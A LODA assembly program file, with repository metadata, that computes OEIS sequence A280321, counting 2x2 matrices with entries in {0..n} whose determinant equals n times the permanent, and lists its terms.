karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A280321: Number of 2 X 2 matrices with all elements in {0,..,n} having determinant = n*permanent. ; 1,12,25,49,81,121,169,225,289,361,441,529,625,729,841,961,1089,1225,1369,1521,1681,1849,2025,2209,2401,2601,2809,3025,3249,3481,3721,3969,4225,4489,4761,5041,5329,5625,5929,6241,6561,6889,7225,7569,7921,8281,8649,9025,9409,9801,10201,10609,11025,11449,11881,12321,12769,13225,13689,14161,14641,15129,15625,16129,16641,17161,17689,18225,18769,19321,19881,20449,21025,21609,22201,22801,23409,24025,24649,25281,25921,26569,27225,27889,28561,29241,29929,30625,31329,32041,32761,33489,34225,34969,35721,36481,37249,38025,38809,39601,40401,41209,42025,42849,43681,44521,45369,46225,47089,47961,48841,49729,50625,51529,52441,53361,54289,55225,56169,57121,58081,59049,60025,61009,62001,63001,64009,65025,66049,67081,68121,69169,70225,71289,72361,73441,74529,75625,76729,77841,78961,80089,81225,82369,83521,84681,85849,87025,88209,89401,90601,91809,93025,94249,95481,96721,97969,99225,100489,101761,103041,104329,105625,106929,108241,109561,110889,112225,113569,114921,116281,117649,119025,120409,121801,123201,124609,126025,127449,128881,130321,131769,133225,134689,136161,137641,139129,140625,142129,143641,145161,146689,148225,149769,151321,152881,154449,156025,157609,159201,160801,162409,164025,165649,167281,168921,170569,172225,173889,175561,177241,178929,180625,182329,184041,185761,187489,189225,190969,192721,194481,196249,198025,199809,201601,203401,205209,207025,208849,210681,212521,214369,216225,218089,219961,221841,223729,225625,227529,229441,231361,233289,235225,237169,239121,241081,243049,245025,247009,249001 mov $1,3 trn $1,$0 mov $4,$0 mul $0,$1 pow $1,$0 mov $2,$4 mul $2,4 add $1,$2 mov $3,$4 mul $3,$4 mov $2,$3 mul $2,4 add $1,$2
102.941176
1,521
0.804